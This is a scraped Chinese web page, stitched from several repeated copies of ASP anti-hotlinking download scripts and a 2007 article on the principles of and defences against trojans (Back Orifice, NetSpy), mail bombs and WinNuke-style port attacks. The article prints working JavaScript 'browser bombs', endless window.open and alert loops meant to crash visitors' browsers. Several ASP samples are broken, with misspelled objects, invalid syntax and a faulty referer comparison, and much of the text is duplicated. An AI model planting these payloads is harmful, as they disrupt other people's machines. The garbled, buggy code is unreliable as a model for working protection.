response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
(1)下面的示例将 ContentType 属性设置为其他的常见值。
text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
asp下载防盗链代码
第一种:
终于对下载系统做了个防盗链措施,在下载的页面头部做了如下代码,相关代码如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下载的软件来自IT学习网,请直接从主页下载,谢谢<br>" ’防止盗链
response.write "<a href=http://www.gc888.cn>IT学习网http://www.gc888.cn</a>" ’防止盗链
response.end
end if
%>
第二种:
以下是引用片段:
以下是引用片段:
<%
’定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
下面的示例将 ContentType 属性设置为其他的常见值。 text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
第三种:
最简单的用Active Server Pages防站外提交表单、跨站提交表单、防盗链……
方法:Request.SeverVariables("HTTP_REFERER")
解释:当某人通过链接到达当前页,HTTP_REFERER 就保存了这个用户的来源(来路)
举个例子,这个例子很简单,只是抛砖引玉而已,大家可以增加更多的功能。
如下,只有首先从“ http://www.gc888.cn”登陆才能看到文件内容。
源码:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最简单的用asp防盗链</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必须从"&url&"访问才能进来!")
End if
End Function
%>
<%
Sub main()
Response.write("这儿是你要显示的网页内容")
End sub
%>
</body>
</html>
该方法对防止盗链文章、站外提交表单、跨站提交表单还比较有效,对于软件盗链比如.rar.zip.exe等倒没什么作用。
不知各位读者是否有好的主意,呵呵。
还有一种方法就是用判断服务器及上一页的地址来完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要从外部提交数据"
else
call main()
end if
sub main()
’你的主体内容
end sub
%>
ASP防止盗链或防止下载的方法
[ 2007-03-25 03:04:24 | 作者: sun ]
我们在管理网站文件时,可以把扩展名一样的文件放在同一个目录下,起一个比较特别名字,例如放pdf文件目录为the_pdf_file_s,把下面代码另存为down.asp,他的网上路径为http://www.xx.com/down.asp,我们就可以用http://www.xx.com/down.asp?FileName=51windows.pdf来下载这个文件了,而且下载者无法看到这个文件实际下载路径的!在down.asp中我们还可以设置下载文件是否需要登陆,判断下载的来源页是否为外部网站,从而可以做到防止文件被盗链。
示例代码:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" '防止盗链
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陆!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '设置pdf类型文件目录
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '设置DOC类型文件目录
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '设置图像文件目录
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地图片,音乐等ASP防盗链代码(asp)
以下是引用片段:
以下是引用片段:
<%
'定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
(1)下面的示例将 ContentType 属性设置为其他的常见值。
text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
asp下载防盗链代码
第一种:
终于对下载系统做了个防盗链措施,在下载的页面头部做了如下代码,相关代码如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下载的软件来自IT学习网,请直接从主页下载,谢谢<br>" ’防止盗链
response.write "<a href=http://www.gc888.cn>IT学习网http://www.gc888.cn</a>" ’防止盗链
response.end
end if
%>
第二种:
以下是引用片段:
以下是引用片段:
<%
’定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
下面的示例将 ContentType 属性设置为其他的常见值。 text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
第三种:
最简单的用Active Server Pages防站外提交表单、跨站提交表单、防盗链……
方法:Request.SeverVariables("HTTP_REFERER")
解释:当某人通过链接到达当前页,HTTP_REFERER 就保存了这个用户的来源(来路)
举个例子,这个例子很简单,只是抛砖引玉而已,大家可以增加更多的功能。
如下,只有首先从“ http://www.gc888.cn”登陆才能看到文件内容。
源码:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最简单的用asp防盗链</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必须从"&url&"访问才能进来!")
End if
End Function
%>
<%
Sub main()
Response.write("这儿是你要显示的网页内容")
End sub
%>
</body>
</html>
该方法对防止盗链文章、站外提交表单、跨站提交表单还比较有效,对于软件盗链比如.rar.zip.exe等倒没什么作用。
不知各位读者是否有好的主意,呵呵。
还有一种方法就是用判断服务器及上一页的地址来完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要从外部提交数据"
else
call main()
end if
sub main()
’你的主体内容
end sub
%>
示例代码:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url then
response.write "非法链接!" '防止盗链
response.end
end if
if Request.Cookies("Logined")="" then
response.redirect "/login.asp" '需要登陆!
end if
Function GetFileName(longname)'/folder1/folder2/file.asp=>file.asp
while instr(longname,"/")
longname = right(longname,len(longname)-1)
wend
GetFileName = longname
End Function
Dim Stream
Dim Contents
Dim FileName
Dim TrueFileName
Dim FileExt
Const adTypeBinary = 1
FileName = Request.QueryString("FileName")
if FileName = "" Then
Response.Write "无效文件名!"
Response.End
End if
FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
Select Case UCase(FileExt)
Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
Response.Write "非法操作!"
Response.End
End Select
Response.Clear
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
Response.ContentType = "image/*" '对图像文件不出现下载对话框
else
Response.ContentType = "application/ms-download"
end if
Response.AddHeader "content-disposition", "attachment; filename=" & GetFileName(Request.QueryString("FileName"))
Set Stream = server.CreateObject("ADODB.Stream")
Stream.Type = adTypeBinary
Stream.Open
if lcase(right(FileName,3))="pdf" then '设置pdf类型文件目录
TrueFileName = "/the_pdf_file_s/"&FileName
end if
if lcase(right(FileName,3))="doc" then '设置DOC类型文件目录
TrueFileName = "/my_D_O_C_file/"&FileName
end if
if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg" or lcase(right(FileName,3))="png" then
TrueFileName = "/all_images_/"&FileName '设置图像文件目录
end if
Stream.LoadFromFile Server.MapPath(TrueFileName)
While Not Stream.EOS
Response.BinaryWrite Stream.Read(1024 * 64)
Wend
Stream.Close
Set Stream = Nothing
Response.Flush
Response.End
%>
本地图片,音乐等ASP防盗链代码(asp)
以下是引用片段:
以下是引用片段:
<%
'定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"'文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))'就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
(1)下面的示例将 ContentType 属性设置为其他的常见值。
text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
asp下载防盗链代码
第一种:
终于对下载系统做了个防盗链措施,在下载的页面头部做了如下代码,相关代码如下:
以下是引用片段:
以下是引用片段:
<%
From_url = Cstr(Request.ServerVariables("HTTP_REFERER"))
Serv_url = Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(From_url,8,len(Serv_url)) <> Serv_url and mid(From_url,8,len(Serv_url))<>"ITstudy.cn" and mid(From_url,8,len(Serv_url))<>"www.gc888.cn" then
response.write "您下载的软件来自IT学习网,请直接从主页下载,谢谢<br>" ’防止盗链
response.write "<a href=http://www.gc888.cn>IT学习网http://www.gc888.cn</a>" ’防止盗链
response.end
end if
%>
第二种:
以下是引用片段:
以下是引用片段:
<%
’定义函数,用ADODB.Stream读取二进制数据
Function ReadBinaryFile(FileName)
Const adTypeBinary = 1
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile = BinaryStream.Read
End Function
Response.AddHeader "Content-Disposition", "attachment;filename=2.gif"’文件名
Response.ContentType = "image/GIF" ’设置(1)
response.Binarywrite ReadBinaryFile(server.mappath("2.gif"))’就是你读取存在本地的文件,防止被
别人知道真实路径盗连的。
%>
下面的示例将 ContentType 属性设置为其他的常见值。 text/HTML 这个就不说了
image/GIF gif图片
image/JPEG jpg图片
application/x-cdf cdf文档
application/wma 就是西瓜哪个音乐类型了
具体可以参照 Web 浏览器文档或当前的 HTTP 规格说明
这样再利用asp的储存session,cookies,以及读取HTTP头等特殊功能就可以完全真正的实现防盗连,这里
没有设置缓存,如果访问量巨大,我想设置下就会更好吧。
第三种:
最简单的用Active Server Pages防站外提交表单、跨站提交表单、防盗链……
方法:Request.SeverVariables("HTTP_REFERER")
解释:当某人通过链接到达当前页,HTTP_REFERER 就保存了这个用户的来源(来路)
举个例子,这个例子很简单,只是抛砖引玉而已,大家可以增加更多的功能。
如下,只有首先从“ http://www.gc888.cn”登陆才能看到文件内容。
源码:index.asp
以下是引用片段:
以下是引用片段:
<html>
<head><title>最简单的用asp防盗链</title></head>
<body>
<%
Option.Explicit
Response.Buffer=Ture
%>
<%
CheckUrl(http://www.gc888.cn)
%>
<%
Function CheckUrl(url)
Dim Where:Where=Request.SeverVariables("HTTP_REFERER")
If Where=url Then
Call main()
Else
Response.write("很抱歉,您必须从"&url&"访问才能进来!")
End if
End Function
%>
<%
Sub main()
Response.write("这儿是你要显示的网页内容")
End sub
%>
</body>
</html>
该方法对防止盗链文章、站外提交表单、跨站提交表单还比较有效,对于软件盗链比如.rar.zip.exe等倒没什么作用。
不知各位读者是否有好的主意,呵呵。
还有一种方法就是用判断服务器及上一页的地址来完成。
以下是引用片段:
以下是引用片段:
<%
dim from, local
from = request.ServerVariables("HTTP_REFERER")
local = request.ServerVariables("SERVER_NAME")
If mid(from, 8, local)<>Len(local) Then
response.write "不要从外部提交数据"
else
call main()
end if
sub main()
’你的主体内容
end sub
%>
推荐:各类攻击软件原理与防范
[ 2007-03-25 03:02:20 | 作者: sun ]
特洛伊木马原理
BO(Back oriffice)象是一种没有任何权限限制的FTP服务器程序,黑客先使用各种方法诱惑他人使用BO的服务器端程序,一旦得逞便可通过BO客户端程序经由TCP/IP网络进入并控制远程的Windows的微机。
其工作原理:Boserve.exe在对方的电脑中运行后,自动在win里注册并隐藏起来,控制者在对方上网后通过Boconfig.exe(安装设置的程序)和Boclient.exe(文本方式的控制程序)或Bogui.exe(图形界面控制程序)来控制对方。
网上更有一些害人虫将木马程序和其他应用程序结合起来发送给攻击者,只要对方运行了那个程序,木马一样的会驻留到Windwos系统中。
BO本质上属于客户机/服务器应用程序。它通过一个极其简单的图形用户界面和控制面板,可以对感染了BO(即运行了 BO服务器)的机器操作Windows本身具备的所有功能。
这个仅有123K的程序,水平一流,令那些复杂而庞大的商用远程管理 软件相形见绌。而真正可怕的是:BO没有利用系统和软件的任何漏洞或Bug,也没有利用任何微软未公开的内部API,而完全是利用Windows系统的基本设计缺陷。甚至连普通的局域网防火墙和代理服务器也难以有效抵挡。
BO服务器可通过网上下载、电子邮件、盗版光盘、人为投放等途径传播,并且可极其隐藏地粘贴在其他应用程序。一旦激活,就可以自动安装,创建Windll.dll,然后删除自安装程序,埋名隐姓,潜伏在机器中。外人就可通过BO客户机程序,方便地搜索到世界上任何一台被BO感染并上网的计算机IP地址。通过IP地址就可对其轻易实现网络和系统控制功能。
可获取包括网址口令、拨号上网口令、用户口令、磁盘、CPU,软件版本等详细的系统信息;可删除、复制、检查、查看文件;可运行机内任何一个程序;可捕捉屏幕信息;可上传各种文件;可以查阅、创建、删除和修改系统注册表;甚至可以使计算机重新启动或锁死机器。而所有这些功能的实现,只需在菜单中作一选择,轻摁一键,就可轻松完成。 除了BO外,还有很多原理和它差不多的特洛伊木马程序,例如:“NetSpy”、“Netbus”等。
防范
不要随便运行不太了解的人给你的程序,特别是后缀名为exe的可执行程序。特洛伊木马程序很多,它们的安装服务器有Boserve.exe(122k),NETSPY.EXE(127k),如果你从Email收到或是DOWN了大小和上述文件一样的EXE文件,运行时可要小心了。运行后如果程序突然消失,或者是无任何反应,那你很可能是被攻击了。这时候你的电脑就完全被别人所控制,他可以复制,删除甚至运行你电脑里的文件和程序。这时你只要到注册表里去修改一下就可以消灭它:运行注册表找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
下的RunServices和RUN键值中的“.EXE”和“NETSPY.EXE”等的键值,将其删除,重新启动你的计算机然后删除Windows\System下的“.EXE”和“NETSPY.EXE”等程序就行了。或用最新版本的杀毒软件,如瑞星90(11),KV300等,你也可以下载一些专门扫除特洛伊木马的软件。
如何防范Back orifice2000
对于Windows95和Windows98的用户:
检查c:\windows\system目录下是否有UMGR32~1.exe文件,如果有的话请运行Regedit将
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
中UMGT32.exe清除,Reboot你的机器,然后Delete你硬盘上的这个文件。
对于NT的用户:
检查winnt\system32目录下是否有UMGR32~1.exe这个文件,如果有的话请先在任务管理器中对应的进程Kill掉再运行Regedit将路径指向
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Remote Administration Service
然后Delete it,最好Reboot一次你的机器。
邮件炸弹原理
E-MAIL炸弹原本泛指一切破坏电子邮箱的办法,一般的电子邮箱的容量在5,6M以下,平时大家收发邮件,传送软件都会觉得容量不够,如果电子邮箱一下子被几百,几千甚至上万封电子邮件所占据,这是电子邮件的总容量就会超过电子邮箱的总容量,以至造成邮箱超负荷而崩溃。“kaboom3”、“upyours4”、“Avalanche v2.8”就是人们常见的几种邮件炸弹。
防范
⒈不要将自己的邮箱地址到处传播,特别是申请上网帐号时ISP送的电子信箱,那可是要按字节收费的哟!去申请几个免费信箱对外使用,随便别人怎么炸,大不了不要了。
⒉最好用POP3收信,你可以用Outlook 或Foxmail等POP收信工具收取Email。例如用Outlook,你可以选择“工具”/“收件箱助理”,然后点击“添加”在属性窗口可以设定对各种条件的Email的处理方式。如果我们想让超过1024KB的邮件直接从服务器上删除,根本不下载到计算机上,可以在邮件条件框中将“大于”选中,然后输入1024,接着在“执行下列操作”框中选中“从服务器删除”就行了。
⒊当某人不停炸你信箱时,你可以先打开一封信,看清对方地址,然后在收件工具的过滤器中选择不再接收这地址的信,直接从服务器删除。
⒋在收信时,一旦看见邮件列表的数量超过平时正常邮件的数量的若干倍,应当马上停止下载邮件,然后再从服务器删除炸弹邮件。(要用下面提到的工具)
⒌不要认为邮件发送有个回复功能,就可以将发炸弹的人报复回来,那是十分愚蠢的!发件人有可能是用的假地址发信,这个地址也许填得与收件人地址相同。这样你不但不能回报对方,还会使自己的邮箱彻底完结!
⒍你还可以用一些工具软件防止邮件炸弹。
端口攻击原理
这类软件是利用Window95/NT系统本身的漏洞,这与Windows下微软网络协议NetBIOS的一个例外处理程序OOB(Out of Band)有关。只要对方以OOB的方式,就可以通过TCP/IP传递一个小小的封包到某个IP地址的Port139上,该地址的电脑系统即(WINDOWS95/NT)就会“应封包而死”,自动重新开机,你未存档的所有工作就得重新再做一遍了。
你一定会问这个封包到底里面是些什么?会有如此神奇的效果!这不过是一些很小的ICMP(Internet Control Message Protocolata)碎片,当你机器收到这份“礼物”时,你的系统会不停地试图把碎片恢复,当然这是不可能的,它怎么会这样便宜你了!于是你的电脑系统就这样速度越来越慢直至完全死机!而你就只有重新启动。
其实,并不只是Port139会出现问题,只要是使用OOB的开放接受端,都有可能出现症状不一的“电脑狂乱”情形。例如,Identel所用的Port113,据说收到同样的封包也会出问题。常见的端口攻击器有“uKe23”、“voob”、WINNUKE2”。如果你还是用的Windows95,那您就要当心了。
防范
将你的Windows95马上升级到Windows98,首先修正Win95的BUG,在微软主页的附件中有对于Win95和OSR2以前的版本的补丁程序,Win98不需要。然后学会隐藏自己的IP,包括将ICQ中"IP隐藏"打开,注意避免在会显示IP的BBS和聊天室上暴露真实身份,特别在去黑客站点访问时最好先运行隐藏IP的程序。
JAVA炸弹原理
很多网友在聊天室中被炸了以后,就以为是被别人黑了,其实不是的。炸弹有很多种,有的是造成电脑直接死机,有的是通过HTML语言,让你的浏览器吃完你的系统资源,然后你就死机了。 这里我就告诉大家几个java炸弹的原理:
第一个炸弹是javascript类型的炸弹:
<img src="javascript:n=1;do{window.open('')}while(n==1)"
width="1">
这个Javascript语言要求浏览在新窗口中再打开本页。新的页面被打开以后就会同样提出要求,于是浏览器不停地打开新窗口,没几秒钟你就死机了。就算是不死机,你也必须把浏览器中内存中驱除出去,这样,你就被踢出了网络。
下面分析一下这个HTML语言的原理。 分析 "javascript:n=1;do{window.open('')}while(n==1)" ,javascript 是定义运行此语言,n=1 是定义变量 n 等于1, do{ }while(n==1) 指当 n 等于1,的时候运行{ }中间的命令,window.open('') 指打开本窗口,整个语言的意思是,变量 n 赋值为1,如果 n 等于1,那么就打开一个窗口,而 n 永远等于1,就不停地打开新的窗口。
同样道理,也可以利用无限循环的原理看看其他的炸弹。前面的文章中提到了 alert ("欢迎辞") 是用来致欢迎辞的,你可以在网页中加入以下的Javascript 语言:
<SCRIPT language="LiveScript">javascript:n=1;do{alert ("嘿嘿,你死定
了!");}while(n==1)</SCRIPT>
下面介绍一个1999年5月才出炉的java炸弹,威力比上两种都强,大家务必要当心。 我们就不在这里提供效果了!
<HTML>
<BODY>
<SCRIPT>
var color = new Array;
color = "black";
color = "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</SCRIPT>
</BODY>
</HTML>
防范
唯一的防范方法就是你在聊天室聊天时,特别是支持HTML的聊天室(比如湛江,新疆等)请你一定记住关掉你浏览器里的java功能,还要记住不要浏览一些来路不明的网站和不要在聊天室里按其他网友发出的超级链接,这样可以避免遭到恶作剧者的攻击。
BO(Back oriffice)象是一种没有任何权限限制的FTP服务器程序,黑客先使用各种方法诱惑他人使用BO的服务器端程序,一旦得逞便可通过BO客户端程序经由TCP/IP网络进入并控制远程的Windows的微机。
其工作原理:Boserve.exe在对方的电脑中运行后,自动在win里注册并隐藏起来,控制者在对方上网后通过Boconfig.exe(安装设置的程序)和Boclient.exe(文本方式的控制程序)或Bogui.exe(图形界面控制程序)来控制对方。
网上更有一些害人虫将木马程序和其他应用程序结合起来发送给攻击者,只要对方运行了那个程序,木马一样的会驻留到Windwos系统中。
BO本质上属于客户机/服务器应用程序。它通过一个极其简单的图形用户界面和控制面板,可以对感染了BO(即运行了 BO服务器)的机器操作Windows本身具备的所有功能。
这个仅有123K的程序,水平一流,令那些复杂而庞大的商用远程管理 软件相形见绌。而真正可怕的是:BO没有利用系统和软件的任何漏洞或Bug,也没有利用任何微软未公开的内部API,而完全是利用Windows系统的基本设计缺陷。甚至连普通的局域网防火墙和代理服务器也难以有效抵挡。
BO服务器可通过网上下载、电子邮件、盗版光盘、人为投放等途径传播,并且可极其隐藏地粘贴在其他应用程序。一旦激活,就可以自动安装,创建Windll.dll,然后删除自安装程序,埋名隐姓,潜伏在机器中。外人就可通过BO客户机程序,方便地搜索到世界上任何一台被BO感染并上网的计算机IP地址。通过IP地址就可对其轻易实现网络和系统控制功能。
可获取包括网址口令、拨号上网口令、用户口令、磁盘、CPU,软件版本等详细的系统信息;可删除、复制、检查、查看文件;可运行机内任何一个程序;可捕捉屏幕信息;可上传各种文件;可以查阅、创建、删除和修改系统注册表;甚至可以使计算机重新启动或锁死机器。而所有这些功能的实现,只需在菜单中作一选择,轻摁一键,就可轻松完成。 除了BO外,还有很多原理和它差不多的特洛伊木马程序,例如:“NetSpy”、“Netbus”等。
防范
不要随便运行不太了解的人给你的程序,特别是后缀名为exe的可执行程序。特洛伊木马程序很多,它们的安装服务器有Boserve.exe(122k),NETSPY.EXE(127k),如果你从Email收到或是DOWN了大小和上述文件一样的EXE文件,运行时可要小心了。运行后如果程序突然消失,或者是无任何反应,那你很可能是被攻击了。这时候你的电脑就完全被别人所控制,他可以复制,删除甚至运行你电脑里的文件和程序。这时你只要到注册表里去修改一下就可以消灭它:运行注册表找到
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
下的RunServices和RUN键值中的“.EXE”和“NETSPY.EXE”等的键值,将其删除,重新启动你的计算机然后删除Windows\System下的“.EXE”和“NETSPY.EXE”等程序就行了。或用最新版本的杀毒软件,如瑞星90(11),KV300等,你也可以下载一些专门扫除特洛伊木马的软件。
如何防范Back orifice2000
对于Windows95和Windows98的用户:
检查c:\windows\system目录下是否有UMGR32~1.exe文件,如果有的话请运行Regedit将
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
中UMGT32.exe清除,Reboot你的机器,然后Delete你硬盘上的这个文件。
对于NT的用户:
检查winnt\system32目录下是否有UMGR32~1.exe这个文件,如果有的话请先在任务管理器中对应的进程Kill掉再运行Regedit将路径指向
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Remote Administration Service
然后Delete it,最好Reboot一次你的机器。
邮件炸弹原理
E-MAIL炸弹原本泛指一切破坏电子邮箱的办法,一般的电子邮箱的容量在5,6M以下,平时大家收发邮件,传送软件都会觉得容量不够,如果电子邮箱一下子被几百,几千甚至上万封电子邮件所占据,这是电子邮件的总容量就会超过电子邮箱的总容量,以至造成邮箱超负荷而崩溃。“kaboom3”、“upyours4”、“Avalanche v2.8”就是人们常见的几种邮件炸弹。
防范
⒈不要将自己的邮箱地址到处传播,特别是申请上网帐号时ISP送的电子信箱,那可是要按字节收费的哟!去申请几个免费信箱对外使用,随便别人怎么炸,大不了不要了。
⒉最好用POP3收信,你可以用Outlook 或Foxmail等POP收信工具收取Email。例如用Outlook,你可以选择“工具”/“收件箱助理”,然后点击“添加”在属性窗口可以设定对各种条件的Email的处理方式。如果我们想让超过1024KB的邮件直接从服务器上删除,根本不下载到计算机上,可以在邮件条件框中将“大于”选中,然后输入1024,接着在“执行下列操作”框中选中“从服务器删除”就行了。
⒊当某人不停炸你信箱时,你可以先打开一封信,看清对方地址,然后在收件工具的过滤器中选择不再接收这地址的信,直接从服务器删除。
⒋在收信时,一旦看见邮件列表的数量超过平时正常邮件的数量的若干倍,应当马上停止下载邮件,然后再从服务器删除炸弹邮件。(要用下面提到的工具)
⒌不要认为邮件发送有个回复功能,就可以将发炸弹的人报复回来,那是十分愚蠢的!发件人有可能是用的假地址发信,这个地址也许填得与收件人地址相同。这样你不但不能回报对方,还会使自己的邮箱彻底完结!
⒍你还可以用一些工具软件防止邮件炸弹。
端口攻击原理
这类软件是利用Window95/NT系统本身的漏洞,这与Windows下微软网络协议NetBIOS的一个例外处理程序OOB(Out of Band)有关。只要对方以OOB的方式,就可以通过TCP/IP传递一个小小的封包到某个IP地址的Port139上,该地址的电脑系统即(WINDOWS95/NT)就会“应封包而死”,自动重新开机,你未存档的所有工作就得重新再做一遍了。
你一定会问这个封包到底里面是些什么?会有如此神奇的效果!这不过是一些很小的ICMP(Internet Control Message Protocolata)碎片,当你机器收到这份“礼物”时,你的系统会不停地试图把碎片恢复,当然这是不可能的,它怎么会这样便宜你了!于是你的电脑系统就这样速度越来越慢直至完全死机!而你就只有重新启动。
其实,并不只是Port139会出现问题,只要是使用OOB的开放接受端,都有可能出现症状不一的“电脑狂乱”情形。例如,Identel所用的Port113,据说收到同样的封包也会出问题。常见的端口攻击器有“uKe23”、“voob”、WINNUKE2”。如果你还是用的Windows95,那您就要当心了。
防范
将你的Windows95马上升级到Windows98,首先修正Win95的BUG,在微软主页的附件中有对于Win95和OSR2以前的版本的补丁程序,Win98不需要。然后学会隐藏自己的IP,包括将ICQ中"IP隐藏"打开,注意避免在会显示IP的BBS和聊天室上暴露真实身份,特别在去黑客站点访问时最好先运行隐藏IP的程序。
